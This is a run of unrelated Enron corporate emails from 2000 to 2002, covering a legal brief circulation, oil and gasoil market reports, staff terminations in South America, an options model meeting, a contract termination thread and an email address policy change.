To: "A. William Urquhart (E-mail)" <awu@qeuo.com>, "Alan Z. Yudkowsky 
(E-mail)" <ayudkowsky@strook.com>, "Andrzej Kabarowski (E-mail)" 
<andrzej_kabarowski@cargill.com>, "Antoine P. Cobb (E-mail)" 
<antoine.cobb@troutmansanders.com>, "Arlen Orchard (E-mail)" 
<aorchar@smud.org>, "Blair R. Strong (E-mail)" <rbstrong@painehamblen.com>, 
"Brian Currey (E-mail)" <bcurrey@omm.com>, "Cheryl Feik Ryan (E-mail)" 
<cfr@vnf.com>, "Cliff Gunter (E-mail)" <cgunter@bracepatt.com>, "D. Russo 
(E-mail)" <drusso@reliantenergy.com>, "David Perlman (E-mail)" 
<dmperlman@powersrc.com>, "Davis Smith (E-mail)" <wdsmith@sempra.com>, 
"Dennis Vermillion (E-mail)" <dvermillion@avistaenergy.com>, "Don Garber 
(E-mail)" <dgarber@sempra.com>, "Donn Pickett (E-mail)" <dpickett@mdbe.com>, 
"Douglas Butz (E-mail)" <dmbutz@butzdunn.com>, "Douglas Thorpe (E-mail)" 
<thord@perkinscoie.com>, "Elizabeth Sager (E-mail)" 
<elizabeth.sager@enron.com>, "Fred Yanney (E-mail)" <Fyanney@fulbright.com>, 
"Gary D. Bachman (E-mail)" <gdb@vnf.com>, "Gary Keltner (E-mail)" 
<gkeltner@jsslaw.com>, "Gordon P. Erspamer (E-mail)" <gerspamer@mofo.com>, 
"Harry A. Olivar Jr. (E-mail)" <hao@quinnemanuel.com>, "Howard E. Shapiro 
(E-mail)" <hes@vnf.com>, "J. Matthew Derstine (E-mail)" 
<mderstine@rhd-law.com>, "Jane Alfano (E-mail)" <jdalfano@srpnet.com>, "Jean 
Frizzell (E-mail)" <jfrizzell@gibbs-bruns.com>, "Jeffrey D. (Dan) Watkiss 
(E-mail)" <dwatkiss@bracepatt.com>, "Joe Paul (E-mail)" <jmpa@dynegy.com>, 
"Joel Newton (E-mail)" <joel.newton@dynegy.com>, "John Fryer (E-mail)" 
<john.fryer@pacificorp.com>, "John Heath (E-mail)" <jheath@fulbright.com>, 
"John W. Stamper (E-mail)" <jstamper@omm.com>, "Joseph R. Tiffany (E-mail)" 
<jtiffany@pillsburywinthrop.com>, "Katalin Kiss (E-mail)" 
<katalin_kiss@transalta.com>, "Ken Irvin (E-mail)" <kirvin@mofo.com>, "Kjehl 
Johansen (E-mail)" <kjohan@dwp.ci.la.ca.us>, "Marvin Goldstein (E-mail)" 
<mgoldstein@stroock.com>, "Mary C. Hain (E-mail)" <mary.hain@enron.com>, "Mel 
Brosterman (E-mail)" <mbrosterman@stroock.com>, "Michael Helms (E-mail)" 
<mghelms@jsslaw.com>, "Nancy Loftin (E-mail)" 
<nancy.loftin@pinnaclewest.com>, "Nolan Steiner (E-mail)" 
<nolan.steiner@avistacorp.com>, "Paul Fox (E-mail)" <pfox@bracepatt.com>, 
"Per J. Ramfjord (E-mail)" <paramfjord@stoel.com>, "Perry L. Steele (E-mail)" 
<psteele@coral-energy.com>, "Peter Jazayeri (E-mail)" 
<pjazayeri@stroock.com>, "Phillip Fantle (E-mail)" 
<phillip_fantle@cargill.com>, "Randy McManus (E-mail)" 
<rmcmanus@bakerbotts.com>, "Randy Osteen (E-mail)" <rosteen@powersrc.com>, 
"Raymond Heyman (E-mail)" <rheyman@rhd-law.com>, "Richard B. Sanders Esq. 
(E-mail)" <richard.b.sanders@enron.com>, "Richard Beitler (E-mail)" 
<rbeitler@sempratrading.com>, "Richard Josephson (E-mail)" 
<rcjosephson@stoel.com>, "Robert Loeffler (E-mail)" <rloeffler@mofo.com>, 
"Ronald Carroll (E-mail)" <rcarroll@bracepatt.com>, "Shari Stack (E-mail)" 
<sstack@enron.com>, "Sterling Koch (E-mail)" <sterling_koch@transalta.com>, 
"Susan Bishop" <sbishop@gibbs-bruns.com>, "Thomas Heftler (E-mail)" 
<theftler@stroock.com>, "Tim Bolden (E-mail)" 
<Timothy.Bolden@pinnaclewest.com>
cc:  
Subject: supplemental reply brief

Here is the word version of the supplemental reply brief.

Thanks.
Gary

 <<supp.reply.brief.doc>>

 - supp.reply.brief.doc

Can you tell me how Mom Tholt is doing?  Is she out of the hospital?  Is she 
going to Montana to stay with Mike and Judy?

Attached is the Cost Summary for the 2000 Peakers with actuals thru 11/3/00.  
I should have updates from Nepco in the next couple of weeks.  Please call me 

thanks,
theresa
x58173

FYI

I will be out of the office on Wednesday, March 28.  I will be in Austin 
interviewing 1st year MBA students for the Enron Scholarships.  This will be 
the third year that Enron will give two to three $10,000 scholarships to top 
MBA students for use in their second year in business school.  It's great PR 
for Enron on campus (largest MBA scholarships given) and it has helped in our 
recruiting efforts as well.  We hired one of the first scholarship winners 
and he now works as an Associate in Generation Investments in Enron 
Americas.  Gene Humphrey was the senior member of the four-person interview 
team.  Now that is me.  This is just a day trip, and I will check messages 
during breaks and will be back in Houston late Wednesday afternoon.  

 I will also be in New York on Friday, March 30.  Steve Kean asked that I be 
the Enron participant at a Women in Business panel discussion at Columbia 
School of Business.   I think that the list of female MD's with their MBA is 
a short one.  

At 07:27 PM 2/3/2002 -0600, you wrote:

>If you would like to be an extra in the upcoming production

>PMRC, please visit southwestcasting.com and get on the

>emailing list. You will receive a email notification as soon

>as the time and date is set for the extras casting call.

>Extras will be paid. All types will be needed, ages 16-80.

>There is a special need for Senator- and

>Washington-Wife-types.

In a moment of total silliness I filled out their form, printed up a picture that was on my computer from a previous web site and today found out that I have three days work, Friday, Saturday and Sunday at City Hall.  I'll be a lawyer.

Hilary

(Mr.) Hilary Smith

712 Bomar St.

Houston TX  77006-1316

713.523.0559

Fax: 713.523.3928

Website:
<underline><color><param>0000,0000,ffff</param>http://pws.prserv.net/hilary</color></underline>

John,

I did some preliminary work on your question concerning oil use at the 
Cleburne, Texas plant. See the attached document.

 I just answered all of your questions in an effort to save time. I'm still 
summarizing the procedures that are used for gas nominations. Call me with 

Michael Mazowita

Phone: (248) 442-4823
Fax: (248) 477-5729
Cell: (248) 345-4002

John Griffith
07/17/2000 10:03 AM
To: Garrick Hill/HOU/ECT@ECT, Mike Mazowita/Corp/Enron@Enron
cc: Eric Moon/HOU/ECT@ECT 

Rick and Mike,

When you talk to plant manager I have a few other questions regarding the 
fuel oil. 

1)  What exact oil can they burn? What sulphur content?

2)  How much oil is in storage at the plant?

3)  What is the storage capacity at the plant?

4)  Are there any oil contracts at this time?  

5)  How do they normally buy oil?

6)  How is the oil transported to the plant?

7)  Are there any transport contracts for oil?

8)  What is the efficiency for the oil at the plant?

9)  What are the costs to burn oil?  Any downtime due to this?  Any costs to 
switch?  Time it takes to switch?

10)  What are the decisions that the plant goes through to decide to switch?

11)  What are the emission concerns?  Are they long emission credits?  Do 
they get credits annually?  How many?

12)  Does Brazos have any control over burning oil vs. burning natural gas?

13)  Can the plant run totally on oil?

14)  Any costs to switch back to natural gas?

Please let me know if you need anything from me.  Thanks.

John

Start Date: 4/21/01; HourAhead hour: 19;  No ancillary schedules awarded.  No 

Schedules\2001042119.txt

     Details:

Counterparty name change:

From:		Laurentino Rodriguez Martin
To:		Guzmanges S.L.
CPID:		95239

From:	Chris Sloan/Enron@EUEnronXGate on 04/06/2001 11:40
To:	Enron Europe Global CounterParty/LON/ECT@ECT, Nick Stacey/Enron@EUEnronXGate
cc:	 

Subject:	FW: New counter party name

Please amend counterparty as per below mail.

Thanks

Chris

From: 	Stacey, Nick  
Sent:	31 May 2001 10:41
To:	Sloan, Chris
Subject:	New counter party name

Please note our customer Laurentino Rodriguez has been purchased by Guzmanges S.L. and this is therefore our new c/p. 

Any other details please let me know.

Cheers

Nick

Sally,

Just something from a recruiting prospective for us to think about, 
remembering the situation from last fall of George making the mistake of 
extending verbal offers, quoting incorrect salaries, and the difference being 
recovered by your RC, I wanted to bring the potential of a residual OU salary 
issue to your attention.  

The salary being offered for another internship or full-time position, which 
ever applies, may appear (to the OU candidates) to be wrong.  Interns will 
enter the program at the same pay rate, $3,000 monthly and the full-time 
analysts at 40k.  As you know, both salaries are non-negotiable for 
consistency amongst the program participants.  

I'm sure questions will come up regarding compensation and thought we could 
discuss the inevitable.  I would really like your input on how to "soften the 
blow".

Thanks
Shelly

Steve FYI
---------------------- Forwarded by Cindy Olson/Corp/Enron on 12/18/2000 

12/15/2000 02:54 PM
To: Cindy Olson/Corp/Enron@ENRON, David W Delainey/HOU/ECT@ECT
cc:  

Subject: Termination Project Completed

FYI
---------------------- Forwarded by David Oxley/HOU/ECT on 12/15/2000 02:54 

Miguel Padron@ENRON
12/15/2000 02:53 PM
To: Orlando Gonzalez/SA/Enron@Enron, Joe Kishkill/SA/Enron@Enron
cc: David Oxley@ECT 

Joe/Orlando,  We just finalized the process of the terminations/transitions 
in SP except for the following employees:

1.  Robert Gross is out of the office  (I'll handled on Monday)
2.  Ana Cristina Santos went home sick  (I'll handled on Monday)
3.  Jorge Gumuccio is out of the office  (I'll handled on Wednesday upon his 
return to office)

The process went better than expected.  A number of employees that were 
terminated "thank us" for taking this step now as all were waiting for this 
process since the date of org. announcement.  In total we spoke to 27 
employees in Sao Paulo and 32 in Buenos Aires.  The climate in the office is 
positive.  Offering outplacement to terminated employees help us 
tremendously, especially having them in the office for the employees to 
consult with immediately after the termination process was completed.  Let me 
know if you have any questions, Miguel  

Congratulations!
---------------------- Forwarded by Steven J Kean/NA/Enron on 08/28/2000=20
From: Office of the Chairman on 08/28/2000 10:19 AM
cc: =20
Subject: EES Organizational Announcement

Enron Energy Services has created explosive growth in the retail energy=20
business.  To advance EES=01, leadership position and to rapidly expand the=
=20
reach of its energy management services, the company is forming four new=20
business groups and promoting several key individuals.

EES continues to see an ever-increasing demand for energy management servic=
es=20
in North America, with interest coming from a growing number of customer=20
classes.  EES North America, headed by Marty Sunde, President and CEO, has=
=20
been established to bring outsourcing, commodity and mid-market solutions t=
o=20
industrial and commercial customers in North America.  Harold Buchanan and=
=20
Jeremy Blachman have been named co-Chief Operating Officers of the group.

EES Europe is responsible for energy outsourcing across Europe, as well as=
=20
rapidly growing mid-market business (Enron Direct, Enron Directo) and heavy=
=20
industrial business (ETOL).  Matthew Scrimshaw, President and CEO will lead=
=20
this group.

As EES and Enron=01,s customer base grows, world class execution capabiliti=
es=20
and customer relationship management skills are required to maximize value.=
=20
Global Energy Services, headed by Dan Leff, President and CEO, is being=20
established to manage execution, delivery, operations & maintenance, accoun=
t=20
/ customer management and contract value enhancement of Enron=01,s asset an=
d=20
energy outsourcing activities worldwide.  This group will include Enron=20
Facility Services (EFS), led by Joe Earle, President & CEO and Operational=
=20
Energy Corporation (OEC), led by Mark Dobler, Vice President.

EES continues to see additional opportunities for business that will benefi=
t=20
from the growth of its energy outsourcing business.  To manage and develop=
=20
these new business opportunities, EES New Business Ventures has been=20
created.  Mark Muller, President and CEO will lead this group.

All four new business leaders will report directly to EES=01, Office of the=
=20
Chairman, Lou Pai, who will continue as Chairman, and Tom White, who will=
=20
continue as Vice Chairman.  In addition, Kevin Hughes, Vice President and=
=20
Chief Accounting Officer, Vicki Sharp, Managing Director and General Counse=
l,=20
and Beth Tilney, Managing Director of Marketing, HR and Customer Satisfacti=
on=20
will continue to report to the Office of the Chairman.

Please join us in congratulating these individuals.

John,

Please remove Greg Whalley from this distribution list.

Liz

John Chismar
05/09/2000 05:48 AM
To: John Chismar/SIN/ECT@ECT, David J Botchlett/HOU/ECT@ECT, Rudy 
Dautel/HOU/ECT@ECT, Britta Dinnendahl/LON/ECT@ECT, Steven M 
Elliott/HOU/ECT@ECT, Paul Henking/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT, Ted 
Robinson/HOU/ECT@ECT, Michael J Gasper/HOU/ECT@ECT, Linda Shoup/HOU/ECT@ECT, 
Erik Hansen/LON/ECT@ECT, Greg Whalley/HOU/ECT@ECT, John Mee Jr/HOU/ECT@ECT, 
Don Schroeder/HOU/ECT@ECT, Wade W Hicks/HOU/ECT@ECT, S Craig 
Story/HOU/ECT@ECT, Claude Straub/HOU/ECT@ECT, Wade Doshier/HOU/ECT@ECT, Niamh 
Clarke/LON/ECT@ECT, Kevin Sweeney/LON/ECT@ECT, Hans Wong/SIN/ECT@ECT, John 
Buckner Thomas/HOU/ECT@ECT, Wang Moi Eng/SIN/ECT@ECT, Ron Irvine/LON/ECT@ECT, 
Chris Mahoney/LON/ECT@ECT, Ross Koller/LON/ECT@ECT, Jim Goughary/HOU/ECT@ECT, 
Tracy Wallace/LON/ECT@ECT, Eric Tan/SIN/ECT@ECT, Adam Gross/HOU/ECT@ECT, 
Alberto Valcarcel/HOU/ECT@ECT, Stuart Bland/LON/ECT@ECT, Mike 
Reed/Long_Beach/Eott@Eott, Chris Glaas/HOU/ECT@ECT, Scott 
Moncrieff/LON/ECT@ECT, Phil Clifford/HOU/ECT@ECT, Bill F Briggs/HOU/ECT@ECT, 
Graham Cane/LON/ECT@ECT, Bill White/Corp/Enron@ENRON, Stephen J 
Lowe/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Duncan Needham/LON/ECT@ECT, Stewart 
Peter/LON/ECT@ECT, Spencer Vosko/HOU/ECT@ECT, Robert Fuller/HOU/ECT@ECT, 
Elliot Fullwood/LON/ECT@ECT
cc:  
Subject: Singapore Overnight 5/9/00

Crude  -  Rather quiet day on the physical front with one Oman deal reported 
@ -10.  Mkt still expecting Chinese to come in and buy Oman once the diffs 
get down to the mid teens. However, AG is getting cleaned up for June 
loaders.  Reported that CPC Taiwan mutually agreed with a seller (Statoil ) 
to cancel a early June loader of Oseberg that they had bought a couple of 
weeks ago.  They say they won't rebook it now that the strike is over. 
Paper -  FTB's were off early on the back of announcement that Norweigian 
strike was over.  Recovered later in the day on the Brent recovery. 
Tapis weaker vs Brent with EFS @ 35 and Dubai weaker as well with EFS @ 2.28. 

Gasoil : Once again, Singapore gasoil lagged behind crude and other products. 
June swap traded between 26.35 - 26.60 usd/bbl with East / West at - 10 
usd/mt (versus - 8 usd/mt yesterday). Front-to-back widened with June / July 
at 0.15 / 0.30 and June / Q3 also improved by 10 / 15 cents/bbl. Crack under 
pressure with Q3 at 2.90 / 3.20, a drop of 20 cents/bbl.  Three sellers this 
evening : Onyx , Shell and Marc Rich with the most aggressive offer at 27.0 
usd/bbl or MOPS + 0.50,  Caltex bid a cargo at 26.30 usd/bbl or MOPS + 0.20 
but no deal concluded. 

Jet / kerosene : Regrade being sell down with June at 1.85 / 2.00 and July at 
2.40 / 2.50 by the end of the day.  With limited outlets for the prompt jet, 
front-to-back will be forced to open up so that some barrels will go to the 
storage. Four sellers this evening (including three majors) - Caltex, Shell, 
BP and J Aron with the most aggressive offer at 28.30 usd/bbl, but still 
attract no buying interest.

fueloil-physical price tread lower as bp n hinleong test the mkt without 
bidding today n shell offer down to 153/mt.paper held yesterday nos thru the 
day at 143.5-144.25 june jul 138-139 jun/jul held at 5/5.5 crack widen 
further to 1.5/bbl for june n 1.9/bbl for jul negative.kepco tender to buy 
lsfo for june dlvry.physical mtk is tight thru may n early june for 180cst n 
will see the strength to surface later in the mth when the main players price 
in cargo totally.stay bullish on fo though temporary n time being looks soft.

As an aside, percent gas position breakout:
East Power	22%
Canadian	23%
MGMT		17%
Gas Desk	38%

Net total, 62% of gas positions reside outside of gas desk

Frank

Here are the instructions to load Netscape on your desktop to run the Deal 
Analysis program.

Click -> Start
Select -> Programs
Select ->  Standard Applications
Select -> Winstall for Other Apps

Winstall  screen with load .........it may take a few minutes to load
Scroll down to -> Netscape 4.08, click once til it's highlighted
Select -> Install button (top)

Netscape  loading should only take a few minutes........no reboot will be 
required.
When completed, you'll find Netscape under Start, Programs

Thanks
Diane
87,7454

Ok - you got the ball.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 09/25/2000 
08:20 PM ---------------------------
   
	From:  Kevin M Presto                           09/25/2000 10:26 AM
	
cc: Mike J Miller/HOU/ECT@ECT 
Subject: Re: Westinghouse LD's for Gleason/Wheatland  

Thanks Dave.   This 12 MW output increase is at 90 degrees and we could 
easily demonstrate this increased output with a capacity test for any 
potential buyer.  Therefore, the increased sales value is real.

Mitch, Mike and myself will sort this out to maximize value for Enron (and 
ENA).

	Sheila - Call Center

Date:		5/29/2001
Time:		9:00 AM - 10:00 AM (Central Standard Time)

We have received an executed Master Agreement:

Effective Date:   April 26, 2001

Counterparty:   Trioco Resources Inc.

Transactions Covered:  Approved for all products with the exception of: 
Foreign Exchange    

Governing Law:   Province of Alberta

Copies will be distributed  

Dear Power Outage Database Customer, 
Attached you will find an excel document. The outages contained within are rescheduled/derated outages. Your daily delivery will still contain these outages. 
In addition to the excel document, there is a dbf file that is formatted like the daily delivery you receive nightly. This will enable you to load the data into your regular database. Any questions please let me know. Thanks. 
Greg Elliott 
IIR, Inc. 
713-783-5147 x 3481 
outages@industrialinfo.com 
  
THE INFORMATION CONTAINED IN THIS E-MAIL IS LEGALLY PRIVILEGED AND CONFIDENTIAL INFORMATION INTENDED ONLY FOR THE USE OF THE INDIVIDUAL OR ENTITY NAMED ABOVE.  YOU ARE HEREBY NOTIFIED THAT ANY DISSEMINATION, DISTRIBUTION, OR COPY OF THIS E-MAIL TO UNAUTHORIZED ENTITIES IS STRICTLY PROHIBITED. IF YOU HAVE RECEIVED THIS E-MAIL IN ERROR, PLEASE DELETE IT.
 - 011602.xls 
 - 011602R.xls 

The New Options Model meeting will be held in EB3125b.
---------------------- Forwarded by Tamara Jae Black/HOU/ECT on 05/22/2001 =

Tamara Jae Black
05/22/2001 04:21 PM
To:=09Rudy Acevedo/HOU/ECT@ECT, Diana Allen/Enron@EnronXGate, Russell Balla=
to/NA/Enron@Enron, Ted Ballinger/Enron@EnronXGate, Don Baughman/HOU/ECT@ECT=
, Edward D Baughman/Enron@EnronXGate, Corry Bentley/HOU/ECT@ECT, Robert Ben=
son/Corp/Enron@ENRON, Tamara Jae Black/HOU/ECT@ECT, Lisa Burnett/Corp/Enron=
@Enron, Paul J Broderick/HOU/ECT@ECT, Richard Broussard/Corp/Enron@Enron, L=
arry F Campbell/NA/Enron@Enron, Mike Carson/Corp/Enron@Enron, Jason Choate/=
Corp/Enron@ENRON, Kevin Cline/Enron@EnronXGate, Terri Clynes/Enron@EnronXGa=
te, Keith Comeaux/Corp/Enron@Enron, Karla Compean/Enron@EnronXGate, Kayne C=
oulter/HOU/ECT@ECT, Oscar Dalton/Enron@EnronXGate, Mark Dana Davis/HOU/ECT@=
ECT, Clint Dean/Corp/Enron@Enron, George Diaz/Corp/Enron@ENRON, Chris Dorla=
nd/HOU/ECT@ECT, Joe Errigo/Corp/Enron@Enron, Miguel L Garcia/NA/Enron@ENRON=
, Gerald Gilbert/HOU/ECT@ECT, Doug Gilbert-Smith/Corp/Enron@ENRON, Gautam G=
upta/HOU/ECT@ECT, Patrick Hanse/HOU/ECT@ECT, Juan Hernandez/Corp/Enron@ENRO=
N, Rogers Herndon/HOU/ECT@ect, Jim Homco/HOU/ECT@ECT, Rika Imai/Enron@Enron=
XGate, Larry Jester/Enron@EnronXGate, Gary Justice/Enron@EnronXGate, Mike E=
 Kelly/Enron@EnronXGate, Grace Kim/Enron@EnronXGate, Jeff King/Corp/Enron@E=
nron, John Kinser/HOU/ECT@ECT, Madhup Kumar/Enron@EnronXGate, Dean Laurent/=
HOU/ECT@ECT, Justin Laverell/Corp/Enron@ENRON, Chris Lenartowicz/Corp/Enron=
@ENRON, Matt Lorenz/HOU/ECT@ECT, Gretchen Lotz/HOU/ECT@ECT, Peter Makkai/NA=
/Enron@Enron, Tom May/Corp/Enron@Enron, Doug Miller/Corp/Enron@Enron, Jeffr=
ey Miller/NA/Enron@Enron, Narsimha Misra/NA/Enron@Enron, Christi L Nicolay/=
HOU/ECT@ECT, Steve Olinde/Corp/Enron@Enron, Andy Pace/Enron@EnronXGate, Jua=
n Padron/NA/Enron@Enron, Laura Podurgiel/HOU/ECT@ECT, Kevin M Presto/HOU/EC=
T@ECT, Joe Quenet/NA/Enron@Enron, David Ryan/Enron@EnronXGate, Eric Saibi/C=
orp/Enron@ENRON, Anna Santucci/Enron@EnronXGate, sscott3@enron.com, Erik Se=
rio/Corp/Enron@Enron, Doug Sewell/Enron@EnronXGate, Lisa Shoemake/Enron@Enr=
onXGate, Robert Stalford/NA/Enron@Enron, Chad Starnes/Corp/Enron@Enron, Joe=
 Stepenovitch/Corp/Enron@Enron, Mark Symms/Enron@EnronXGate, Ramanarao Tamm=
a/Enron@EnronXGate, Garrett Tripp/TOR/ECT@ECT, Larry Valderrama/Enron@Enron=
XGate, Maria Valdes/Corp/Enron@Enron, Joseph Wagner/NA/Enron@Enron, Christo=
pher Watts/NA/Enron@Enron, Lloyd Will/HOU/ECT@ECT, Smith L Day/HOU/ECT@ECT,=
 John M Forney/NA/Enron@Enron, Andy Rodriquez/Enron@EnronXGate, Claudia Gue=
rra/Enron@EnronXGate, Benjamin Rogers/HOU/ECT@ECT, Clayton Vernon/Enron@Enr=
onXGate, Fletcher J Sturm/HOU/ECT@ECT, Mauricio Trejo/Enron@EnronXGate, Dus=
tin Collins/HOU/ECT@ECT, William Abler/Enron@EnronXGate, Steve Wang/Enron@E=
nronXGate
cc:=09=20
Subject:=09New Options Model

From:=09Steve Wang/ENRON@enronXgate on 05/22/2001 04:17 PM
To:=09Tamara Jae Black/HOU/ECT@ECT
cc:=09=20

Meeting on May 30 at 3:30pm regarding the new Option Model we (Steve Wang, =
Harry Arora, and Rob Stalford) use to make markets.  The old structuring mo=
del was created for marketer to give indicative pricing.  I have created th=
is model especially for option market making.  As market makers we found th=
e old model too slow as we are often making bid/offers in more than five st=
rikes in more than five different months.  This model allows us to make our=
 markets quicker and identify mispricings in the market before our competit=
ors.  This is not to replace the old structuring model.  It is only a compl=
ement that will give everyone a better picture of where options are trading=
 and where bid/offers are.  We will publish these prices weekly and will ev=
entually have them on a daily basis.

You will need special permission to access the files located in M:\power2\O=
ptions.  Let me know if you want access to this folder.  The following peop=
le already have access:

Ahn, Christopher=09
Ballato, Russell=09
Baughman, Ed=09
Benson, Rob=09
Broderick, Paul=09
Carson, Mike=09
Clynes, Terri=09
Curry, Mike=09
Dalton, Oscar=09
Davis, Dana=09
Dean, Clint=09
Dorland, Chris=09
Forney, John=09
Gilbert-Smith, Doug=09
Gupta, Gautam=09
Jester, Larry=09
Kelly, Michael=09
King, Jeff=09
Lorenz, Matt=09
Presto, Kevin=09
Quenet, Joe=09
Scheuer, Janelle=09
Sewell, Robert (Doug)=09
Sturm, Fletch=09
Tingleaf, Drew=09
Valderrama, Larry=09
Valdes, Maria=09
Wheeler, Raymond=09

Thanks
Steve Wang

 Here is the information produced in the study for Marc de la Roche.

-Kevin K.

---------------------- Forwarded by Kevin Kindall/Corp/Enron on 12/20/2000 

Kevin Kindall
11/28/2000 09:29 AM
To: Russell Dyk/Corp/Enron@ENRON
cc:  

Subject: JCC study

---------------------- Forwarded by Kevin Kindall/Corp/Enron on 11/28/2000 
09:32 AM ---------------------------

09/29/2000 05:11 PM
To: James Pyke/AP/Enron@Enron
cc:  

 Hello.  Please read the JCC note.  Feedback welcome.

-Kevin K.

FYI.  From my "buddy" Verleger.
----- Forwarded by Jeff Dasovich/NA/Enron on 02/09/2001 12:52 PM -----

	02/09/2001 12:40 PM
		 
		 cc: 
		 Subject: op ed

Jeff - twenty years ago Hogan and I wrote long papers on "disruption
tariffs" to offset OPEC market power.    I even published a book on the
subject (Oil Markets in Turmoil)..  The United States never tried them but
the European's did and they have been quite effective.

In today's LA Times I have an op ed which suggests the state may want to
use them as a tool to deal with the electricity crisis.  I did not mention
the manifesto in the op ed because the idea was not discussed in our
meeting or the paper.

I suspect the op ed will not be welcomed in Houston - but you should be
aware of it.

Phil Verleger

I was wondering if you might be able to help me.  I need to finish strong
this year.  I am attempting to reach the goal of $336,000 in clothing sales
by the end of the year.  Obviously, no single client will be able to help me
do this.  So I was wondering if you might be able to help me out by giving
me the names of some qualified gentlemen or ladies that might be interested
in the type of service we offer.

Some things to consider:

We offer ready-made (off the rack) clothing as well as custom.
We offer all types of men's clothing including casual.

If you know of some mid to upper level executive women, they may have an
interest as well.

Some memory joggers:

Who is the best dressed man or woman you know?
Who do you know that likes nice cars?
Who do you know that owns their own company?
Who do you know that is successful in sales?
Who do you know that wears an expensive watch?
Who do you know that owns their own airplane?
Who do you know that might have a hard time fitting in typical clothing?

Thanks for your help!

Carol Measom
Tom James Company of Houston
4605 Post Oak Place Drive, #200
Houston, Texas 77027
713.622.5678, ext 124
www.tomjamesco.com

Learn more about me at:
http://www.tomjames.com/asp/biopage.asp?empidn=05568

Early this afternoon would be fine, say around 1:30 PM.  My new location is 06456.

Thanks

From: 	Campos, Sylvia A.  
Sent:	Tuesday, November 20, 2001 10:30 AM
Subject:	RE: CGLF contract

Chris,
I have the termination letter initialed by Gerald Nemec in Legal.  Let me know when I can come and bring it to you for your initials and Scott Neal's signature.

From: 	Germany, Chris  
Sent:	Monday, November 19, 2001 3:24 PM
To:	Campos, Sylvia A.

You lucky girl.  Let tell me all the interesting stuff that's going on!!!!!!!

Sent:	Monday, November 19, 2001 2:54 PM

I was on loan to EES since mid July.

Sent:	Monday, November 19, 2001 2:51 PM

I'm wonderful thank you very much.  Where have you been?  How are you doing?

Sent:	Monday, November 19, 2001 2:47 PM

How are you doing Chris?  I've been away for awhile....just wanted to let you know that I'm working on it.

Sent:	Monday, November 19, 2001 12:36 PM

And, because I waited so long, it should be done in a great big hurry!

From: 	Hilliard, Marlene  
Sent:	Friday, November 16, 2001 3:05 PM
Cc:	Germany, Chris; Nemec, Gerald
Subject:	FW: CGLF contract

Attached is a copy of a termination letter.  Per the terms of the contract, notice of termination should be 6 months prior to termination.  Chris Germany has requested that this contract be terminated. 

The termination letter should be routed to Gerald Nemec for review and redlining.  Then, routed for review and initial  to the Trader, Chris Germany, to Legal - Gerald Nemec, and then to the Vice President - Scott Neal.  Contact Scott Neal through Kimberly Bates

 << File: CGLF Termination Letter#37393.doc >> 

Sent:	Friday, November 16, 2001 2:15 PM
To:	Hilliard, Marlene

Our contact for this is Janice Felton.  Her number is 713-267-4210.  Please call her on Monday and let her know that ENA wishes to terminate contract 37393 effective 5/31/2002.  Ask her what she needs in writing from us then draft it and send it to her attentions.

Thanks

Sent:	Tuesday, October 23, 2001 1:35 PM

I believe its Janice Felton but I will make sure.

Thanks

Sent:	Tuesday, October 23, 2001 12:44 PM

Yes Chris I can draft a termination letter.  The termination notice period is 6 months prior  written notice to either party.

Let me know who it should be addressed to and I will draft the letter and forward it prior to December 1, 2001 which will give the counterparty 6 month prior written notice.  I will have to have it executed by the proper parties of course.

I will wait to hear from you. 

Sent:	Tuesday, October 23, 2001 12:31 PM
To:	Ramirez, Robert
Cc:	Fletcher, Brenda H.; Hilliard, Marlene
Subject:	CGLF contract

Robert, when you get a chance, please give me all the service deal numbers for CGLF k#37393.

Marlene, the new termination date for this contract is 5/31/2002.  If I have time, I am going to send CGLF a termination notice for this contract effective 5/31/2002.  Is that something you could do for me?

Earlier this week, Enron Global Technology announced the plan to decommission the use of all non-standard Internet Email address formats. As mentioned in the previous communication, this was the first of several communications to be sent by the Enron Global Technology group and we will continue to provide more details in the coming weeks regarding this significant but necessary change to our Email environment.
 
We are working toward a cut-off date of January 14, 2002, at which time we will no longer support Email addresses that do not follow the standard format of firstname.lastname@enron.com (or firstname.middleinitial.lastname@enron.com if your name in Lotus Notes or Outlook has a middle initial in it). We understand that it will take time to make the necessary arrangements to begin using the standard Email address format, but it is important to begin making the change now.
 
If you have questions, please send an Email to Enron.Messaging.Administration@enron.com.
 
Thank you for your support.
 
Enron Global Technology
 
From: Enron Announcements/Corp/Enron@ENRON on behalf of Enron Messaging Administration 
Sent: Mon 10/15/2001 9:15 PM 
To: All Enron Worldwide@ENRON 
Cc: 
Subject: Supported Internet Email Addresses

Enron Global Technology is in the process of decommissioning the support for all non-standard Internet Email address formats. The only Internet Email address format that will be supported, once this effort is completed, is firstname.lastname@enron.com. We will no longer support Internet Email address formats such as name@enron.com, name@ect.enron.com, name@ei.enron.com  (where "name" is an abbreviation, acronym or alternative to an employees firstname and/or lastname). Every Enron employee has an Internet Email address of firstname.lastname@enron.com and must begin making the necessary arrangements to start using this Internet address format if they are not using it already.

Any new/existing application systems or business cards that reference a non-supported Internet Email address will need to be changed to reference the only supported firstname.lastname@enron.com Internet address format. It is important to remember to also notify any external contacts who are currently sending Internet email to any non-supported Internet Email addresses.

To determine what your supported Internet Email address is, take your name as it appears in Outlook or Lotus Notes and replace any "spaces" that appear in your name with periods and append @enron.com. For example in Outlook, Alan Smith, Robert (firstname = Robert, Lastname = Alan Smith) will have a supported Internet Email address of robert.alan.smith@enron.com.

IMPORTANT : If you need to update your business card(s) to reflect your supported Internet Email address, please ensure you test & confirm the delivery of Internet email to your supported email address prior to updating your business cards. If you experience any issues with delivery of Internet email to your supported Internet email address, please contact the Resolution Center.

We will communicate further details, including the cut-off date, in the coming weeks. Meanwhile, it is imperative that you begin making the necessary arrangements to change over to using the firstname.lastname@enron.com Internet Email address format. If you have questions regarding this email, send an Email to enron.messaging.administration@enron.com.

Thank you for participation, cooperation and support. 

Enron Messaging Administration

---------------------- Forwarded by Eric Bass/HOU/ECT on 04/26/2000 04:47 PM 

Matthew Lenhart
04/26/2000 04:39 PM
cc:  
Subject: Fw: Corruption Test

---------------------- Forwarded by Matthew Lenhart/HOU/ECT on 04/26/2000 
04:39 PM ---------------------------

Shirley Elliott <shelliott@dttus.com> on 04/26/2000 08:03:31 AM
To: kmcgallion@king-ranch.com, Terri@EDIarchitecture.com, 
jjohnson@daewoous.com, j.cruthis@mail.utexas.edu, hallieklassen@usa.net, 
Matt@TriangleTechnology.com, ryane@ideas.tocquigny.com, 
